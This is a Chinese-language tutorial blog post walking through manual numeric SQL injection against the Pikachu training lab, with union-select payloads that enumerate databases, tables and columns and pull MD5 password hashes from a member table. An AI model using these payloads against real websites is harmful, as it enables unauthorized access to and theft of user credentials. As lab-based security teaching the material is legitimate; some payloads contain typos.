码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入之数字型注入(手工)(1)

时间:2021-06-22 17:53:31      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:简单的   说明   重要   手工   部分   放弃   地址   用户信息   target   

产生注入漏洞条件

  • 参数用户可控:前端传给后端的参数内容是可以被用户控制的
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

与SQL注入相关知识点

1.在注入时,我经常产生一个疑问,问什么要用这个表,如果这个表不存在怎么办?为什么要写这样的语句等等 经过系统的学习,渐渐的开始理解了,本文会进行部分说明

2.在MYSQL5.0版本后,系统会默认在数据库中存放一个informa_schema的数据库,该库中需要记住三个表名:schemata,tables,columns;

  • schemata表用来存放用户创建的所有数据库的库名,需要记住数据库库名的字段名为schema_name
  • tables存放数据所有数据库名和表名,记住这两个字段名table_schematable_name
  • columns存放所有的数据库名,表名和列名,需要记住这三个字段名table_schema,table_name,column_name
    看到上面的说明应该明白输入information_schema.tables等字段的原因了

3.除了上面的字段名,还需要记住以下几个函数:

  • database():当前网站使用的数据库
  • version():当前MYSQL的版本
  • user(): 当前MYSQL用户

4.需要知道MYSQL注释符为:#--空格/**/

注入的步骤

数字型注入一般有以下几步:
1.先判断网站是否存在注入漏洞
2.获取数据库名
3.获取表名
4获取列名
5根据获取的数据库名,表名,列名来获得表内的信息

数字型注入实例

pikachu里的数字型注入为例子.
如图为post类型,不能在地址进行注入,用burpsuite抓包.
技术图片
burpsuite界面如下
技术图片

判断是否存在漏洞

输入 and 1=1,界面正确返回
技术图片
输入and 1=2,界面显示出错,由此说明存在注入漏洞

判断列的数量

输入 order by 1和order by 2 页面正常返回,order by 3时返回错误页面,说明只有2列
因此union注入语句为union select 1,2
输入 union select 1,2,返回正常结果,还不止一条
技术图片

获取数据库名

输入union select database(),查询出数据库名为pikachu(其实配置数据库时我已经看到了)
技术图片

获取表名

有了数据库名就好办了,简单的八达鸟(汤老师警告),请各位看我的手法.
输入union select 1,(select table_name from information_schema.tables where table_schema=‘pikachu‘ ),什么!说我查询太多,显示不出来,我大意了啊.
技术图片
重新输入union select 1,(select table_name from information_schema.tables where table_schema=‘pikachu‘limit 0,1 ),加了个limit 0,1(0,是起始位置,1是选几个),获取到一个表名httpinfo了,继续把limit 0,1里的0依次改为1,2,3,4等,获得member,message,users,xssblind....(差不多就行了,member表应该有重要信息)
技术图片

获取列名

有了数据库名,表名,接下来手到擒来(以member为例)
输入union select 1,(select cloumn_name from information_schema.cloumns where table_schema=‘pikachu‘ and table_name=‘member‘ limit 0,1 ),已经获得id了,接下来把limit 0,1里的0依次改为1,2等,获得username,pw.获得username,pw已够了,接下来可以获得用户信息了
技术图片

获取用户数据

输入union select (select pw from pikachu.member limit 0,1),(select pw from pikachu.member limit 0,1 ),获取到用户名和密码了,不过使用了MD5哈希,找在线网站破解就可以了
技术图片

总结

用户名和密码一样e10adc3949ba59abbe56e057f20f883e,感兴趣的可以去破解看看.
这个数字型注入不难,一步一步来,有逻辑的来注入,我曾经看到这种题目上来就一把抓,把会的东西全部整一边,然后做不出来就放弃了,当时完全不知道该如何下手,现在才知道这都是有套路的.MYSQL默认的数据库以及那九个表名非常重要.

SQL注入之数字型注入(手工)(1)

标签:简单的   说明   重要   手工   部分   放弃   地址   用户信息   target   

原文地址:https://www.cnblogs.com/AlucardLink/p/14909523.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!